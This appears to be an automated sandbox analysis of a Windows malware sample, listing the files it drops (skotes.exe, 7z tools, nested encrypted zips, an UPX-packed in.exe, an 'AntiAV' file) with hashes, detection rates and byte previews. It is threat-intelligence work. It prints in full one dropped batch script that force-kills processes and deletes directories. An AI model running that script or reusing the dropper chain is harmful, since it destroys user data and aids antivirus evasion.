MD5:	1A9CDA42BD79F38DEDA9368800B61527
SHA1:	D0E61E7812E77ACD74098DB654E8FA393F9C81A7
SHA-256:	D3B919CD719B576E9E6E93FCB54EDC42D3882891ECAD824C78B3201120C8E36F
SHA-512:	5A39F947A45F3BA6B8F13C56A01F11D0C02085A36FD8CB33CC94271366CB4F9A958D4388C084C3711260105A358C6403AADAC3E726E6C84B9B7DB97BD23A7939
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.......-...@.................................W...k.......D.....................1...............................1..................................................... . ............................@....rsrc...D...........................@....idata ............................@...snfdcrvt..........................@...tnimcadf......1.......-.............@....taggant.0....1.."....-.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\main\7z.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1679360
Entropy (8bit):	6.278252955513617
Encrypted:	false
SSDEEP:	24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqxr2VSlLP:jclmJSVARa86xzW3xRoyqqxrT
MD5:	72491C7B87A7C2DD350B727444F13BB4
SHA1:	1E9338D56DB7DED386878EAB7BB44B8934AB1BC7
SHA-256:	34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891
SHA-512:	583D0859D29145DFC48287C5A1B459E5DB4E939624BD549FF02C61EAE8A0F31FC96A509F3E146200CDD4C93B154123E5ADFBFE01F7D172DB33968155189B5511
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w...$...$...$.&.$...$.&.$...$...$...$.&.$%..$.&.$..$.&G$...$.&.$...$.&.$...$.&.$...$Rich...$........................PE..d.....n\.........." .........H...............................................P............`.............................................y...l...x........{...p.......................................................................................................text............................... ..`.rdata..9...........................@..@.data...............................@....pdata.......p... ..................@..@.rsrc....{.......\|..................@..@.reloc...0.......2...n..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	468992
Entropy (8bit):	6.157743912672224
Encrypted:	false
SSDEEP:	6144:fz1gL5pRTMTTjMkId/BynSx7dEe6XwzRaktNP08NhKs39zo43fTtl1fayCV7+DHV:r1gL5pRTcAkS/3hzN8qE43fm78V
MD5:	619F7135621B50FD1900FF24AADE1524
SHA1:	6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
SHA-256:	344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
SHA-512:	2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.855194602218789
Encrypted:	false
SSDEEP:	6:vFuj9HUHOPLtInnIgvRY77flFjfA+qpxuArS3+xTfVk3:duj9HeONgvRYnlfYFrSMTtk3
MD5:	68CECDF24AA2FD011ECE466F00EF8450
SHA1:	2F859046187E0D5286D0566FAC590B1836F6E1B7
SHA-256:	64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
SHA-512:	471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
Malicious:	false
Preview:	Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

C:\Users\user\AppData\Local\Temp\main\extracted\AntiAV.data

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2355713
Entropy (8bit):	5.891648193754473
Encrypted:	false
SSDEEP:	24576:5yZBPkpRrP9pxC+XvoflcYy36s3vb0EecYy37n92k8GtGAQZ67hR7krC/Cyf0/xO:R9kqGu7okoZscCnf0/Zs9p
MD5:	579A63BEBCCBACAB8F14132F9FC31B89
SHA1:	FCA8A51077D352741A9C1FF8A493064EF5052F27
SHA-256:	0AC3504D5FA0460CAE3C0FD9C4B628E1A65547A60563E6D1F006D17D5A6354B0
SHA-512:	4A58CA0F392187A483B9EF652B6E8B2E60D01DAA5D331549DF9F359D2C0A181E975CF9DF79552E3474B9D77F8E37A1CF23725F32D4CDBE4885E257A7625F7B1F
Malicious:	false
Preview:	KmO6sb9bzFlO6QmlyBR3cUuBrPdmJRJBhXshklfui2fRJCiITlYNEM2EqC9x9I0qVq7CGnIhkwh6hvGvu5pkfBRaoLATG90WNTmCTDFIBTSnd7l9KiCxIUJ5zlBvrKkHZaxyJb0N052Q1AaMDCASX2cw1ZaV1bKcufYPprTSqVIRscgIruKC2MOUPLxNBR1egyVxwSbedVhVl89lRxHAMRMf16G6Ry1TTz7dOtnEaLQowPwuw8eDnR20ZOyf9yYTVcpDsiS4K2VzryfyiwiOXZDq7UaTFrtOgtVQzuNXN74O8xkfvt4Ykzxcs60WfAkGZKsYbwZWS4bPPY8cze1vDL6leHmcDUIbsBvTleZtzGhgeYGdRaUmv5ljenoBZOBDIndh9KTa7zBVHuP4jAK8C2IKaB5BgFReYTleqD0cCkhTdxbkQAMwHPuKktcCRORGmFfE37OzhnpNUtRyIHoGBwau6RcKp6vTNwIWRMkDjZaejD2NS5TCgRvcwgZcldKIAtOqIN0TXMXlnX6scNgHltMTvvwSZbBsDdCGRINZlutVfbP6joQl5sw21ICykYYYKwRfLlfpREpOzuAjwo7oC8hJ4Tv652auJh1RujdaLcIfX5oB1GDuu95ojl52qB08Lzg7nIl7yDb4k9X8rUPZ857XTGTaXkhL77wwG75hAnvfazjbPfP5GZrDYRdhe2I0zSJZuV5aaWd5Imf8Ck0w9ALkKR7xhRlclC4FnJOBuXxpdcsG9gE8tgukaoXpzf4z0CHJ0VOfBNcErBEPyoWMZfee3Vfg2NyLVPvaC6c5HNC1mZSr0SpB1RAlj2w7ST9eZL5DUYwl8p6flt6I3p7MBJrZLlY3LgBSr5F4BYYU6sebHdx0ES2Ci6J9wBw0wGLCy8SeSDS45pkrvWvTZkvW2oFTNBda3aYJyut0zJi1Chjp4xQkH1cEMWZUOy7MueiWNcfeKZqM4Gg2hr7XoLoTQXyvcXvxeOwXoXJKXvu4

C:\Users\user\AppData\Local\Temp\main\extracted\file_1.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1799594
Entropy (8bit):	7.99773141173711
Encrypted:	true
SSDEEP:	49152:8yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ+:tj13Trb6i5iGmuXZTbBizt0Jhc
MD5:	5659EBA6A774F9D5322F249AD989114A
SHA1:	4BFB12AA98A1DC2206BAA0AC611877B815810E4C
SHA-256:	E04346FEE15C3F98387A3641E0BBA2E555A5A9B0200E4B9256B1B77094069AE4
SHA-512:	F93ABF2787B1E06CE999A0CBC67DC787B791A58F9CE20AF5587B2060D663F26BE9F648D116D9CA279AF39299EA5D38E3C86271297E47C1438102CA28FCE8EDC4
Malicious:	false
Preview:	PK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./..t?......6FU....;2].@...z..8..K^B/W..

C:\Users\user\AppData\Local\Temp\main\extracted\file_2.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799748
Entropy (8bit):	7.997729415613798
Encrypted:	true
SSDEEP:	49152:5yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ/:4j13Trb6i5iGmuXZTbBizt0Jhl
MD5:	5404286EC7853897B3BA00ADF824D6C1
SHA1:	39E543E08B34311B82F6E909E1E67E2F4AFEC551
SHA-256:	EC94A6666A3103BA6BE60B92E843075A2D7FE7D30FA41099C3F3B1E2A5EBA266
SHA-512:	C4B78298C42148D393FEEA6C3941C48DEF7C92EF0E6BAAC99144B083937D0A80D3C15BD9A0BF40DAA60919968B120D62999FA61AF320E507F7E99FBFE9B9EF30
Malicious:	false
Preview:	PK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./

C:\Users\user\AppData\Local\Temp\main\extracted\file_3.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799902
Entropy (8bit):	7.997726708945573
Encrypted:	true
SSDEEP:	49152:Cyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJV:nj13Trb6i5iGmuXZTbBizt0Jh3
MD5:	5EB39BA3698C99891A6B6EB036CFB653
SHA1:	D2F1CDD59669F006A2F1AA9214AEED48BC88C06E
SHA-256:	E77F5E03AE140DDA27D73E1FFE43F7911E006A108CF51CBD0E05D73AA92DA7C2
SHA-512:	6C4CA20E88D49256ED9CABEC0D1F2B00DFCF3D1603B5C95D158D4438C9F1E58495F8DFA200DBE7F49B5B0DD57886517EB3B98C4190484548720DAD4B3DB6069E
Malicious:	false
Preview:	PK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu..

C:\Users\user\AppData\Local\Temp\main\extracted\file_4.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800056
Entropy (8bit):	7.997723543142523
Encrypted:	true
SSDEEP:	49152:Zyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJQ:Yj13Trb6i5iGmuXZTbBizt0Jhm
MD5:	7187CC2643AFFAB4CA29D92251C96DEE
SHA1:	AB0A4DE90A14551834E12BB2C8C6B9EE517ACAF4
SHA-256:	C7E92A1AF295307FB92AD534E05FBA879A7CF6716F93AEFCA0EBFCB8CEE7A830
SHA-512:	27985D317A5C844871FFB2527D04AA50EF7442B2F00D69D5AB6BBB85CD7BE1D7057FFD3151D0896F05603677C2F7361ED021EAC921E012D74DA049EF6949E3A3
Malicious:	false
Preview:	PK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}.

C:\Users\user\AppData\Local\Temp\main\extracted\file_5.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800210
Entropy (8bit):	7.997720745184939
Encrypted:	true
SSDEEP:	49152:ayj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJw:Pj13Trb6i5iGmuXZTbBizt0JhG
MD5:	B7D1E04629BEC112923446FDA5391731
SHA1:	814055286F963DDAA5BF3019821CB8A565B56CB8
SHA-256:	4DA77D4EE30AD0CD56CD620F4E9DC4016244ACE015C5B4B43F8F37DD8E3A8789
SHA-512:	79FC3606B0FE6A1E31A2ECACC96623CAF236BF2BE692DADAB6EA8FFA4AF4231D782094A63B76631068364AC9B6A872B02F1E080636EBA40ED019C2949A8E28DB
Malicious:	false
Preview:	PK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z..

C:\Users\user\AppData\Local\Temp\main\extracted\file_6.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800364
Entropy (8bit):	7.997716835838842
Encrypted:	true
SSDEEP:	49152:kyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJv:lj13Trb6i5iGmuXZTbBizt0Jht
MD5:	0DC4014FACF82AA027904C1BE1D403C1
SHA1:	5E6D6C020BFC2E6F24F3D237946B0103FE9B1831
SHA-256:	A29DDD29958C64E0AF1A848409E97401307277BB6F11777B1CFB0404A6226DE7
SHA-512:	CBEEAD189918657CC81E844ED9673EE8F743AED29AD9948E90AFDFBECACC9C764FBDBFB92E8C8CEB5AE47CEE52E833E386A304DB0572C7130D1A54FD9C2CC028
Malicious:	false
Preview:	PK........n..Y..+..x...x......file_5.zipPK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..

C:\Users\user\AppData\Local\Temp\main\extracted\file_7.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3473559
Entropy (8bit):	7.9992359395959935
Encrypted:	true
SSDEEP:	98304:8aR3D0Ae5mwdkDWm1Xo4j13Trb6i5iGmuXZTbBizt0Jhd:ds5m6sXoArb6iguZnBi5Qd
MD5:	CEA368FC334A9AEC1ECFF4B15612E5B0
SHA1:	493D23F72731BB570D904014FFDACBBA2334CE26
SHA-256:	07E38CAD68B0CDBEA62F55F9BC6EE80545C2E1A39983BAA222E8AF788F028541
SHA-512:	BED35A1CC56F32E0109EA5A02578489682A990B5CEFA58D7CF778815254AF9849E731031E824ADBA07C86C8425DF58A1967AC84CE004C62E316A2E51A75C8748
Malicious:	false
Preview:	PK........n..Y`.T......#.....AntiAV.data..E..@.D..C/qwg..;...mG.3H..\|...$..}.`..8......lV1..4...Cu.H.(l+{Cl.:........$+Nr....\.u.K_1N:k.'....F...... .....+.70..R.>..A..#6L.:..n..7......Y..y......v.,....=...e....fe.4.@...h..+....=.#...T......A..\|...{A.p{.b*.\|.[...Q...z.v.....iD.....W.....;...........YVL._._.F..4./g;syC.....e,.N..>t.43..p.T4?.K.....:Z.XDVS.gj.)cp..A9.7^.d.M.d.j..c:.(T<J._3-..8.,."s.'...B\.q...\..e.!..{l.\.]'.P.2}..l@^.G...{n..p..u.n.1;W..#..p.A.YD7.....,.o..z;.6T../.w..=.3K5..]............U...,r....n....(..I.....Q.o%.NF..Q.h$y.".7.tU..eVe.b.q.S4%"C..$g..iX..XQl..?Z.U.\|.g....&.d..Y.\|..5O...s.\|..A..@.Y1F.o.o.s.'UY.AU#....D.K.....A....=t.M..L4...{.....BF.Rg.-...j..p.c..'.2....].m..w37t...Rn.r....v....W..g0E......)-.6.=v/.9...o..~.mh.U.&...5.ld4k.gG.G.S.w4G..]'.5......r..Q.U.U.9.Vv....2.>....p.s.p..e....(..}Jox.....Z..[Y..ku.....5....s.././....:...v......h.u.ZlG.>).,.(....Ye<.....3...:T:)...-).=.L.=.2F....&H7..j..\.B6.Ox.\....

C:\Users\user\AppData\Local\Temp\main\extracted\in.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 67%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Users\user\AppData\Local\Temp\main\file.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\file.zip (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\main.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.0791308599041844
Encrypted:	false
SSDEEP:	12:QUp+CF16g64CTFMj2LIQLvDHW7PCVGrMLvmuCogLKO8NerxVv:QUpNF16g632CkezWDCVGYTOLv8k7
MD5:	3626532127E3066DF98E34C3D56A1869
SHA1:	5FA7102F02615AFDE4EFD4ED091744E842C63F78
SHA-256:	2A0E18EF585DB0802269B8C1DDCCB95CE4C0BAC747E207EE6131DEE989788BCA
SHA-512:	DCCE66D6E24D5A4A352874144871CD73C327E04C1B50764399457D8D70A9515F5BC0A650232763BF34D4830BAB70EE4539646E7625CFE5336A870E311043B2BD
Malicious:	false
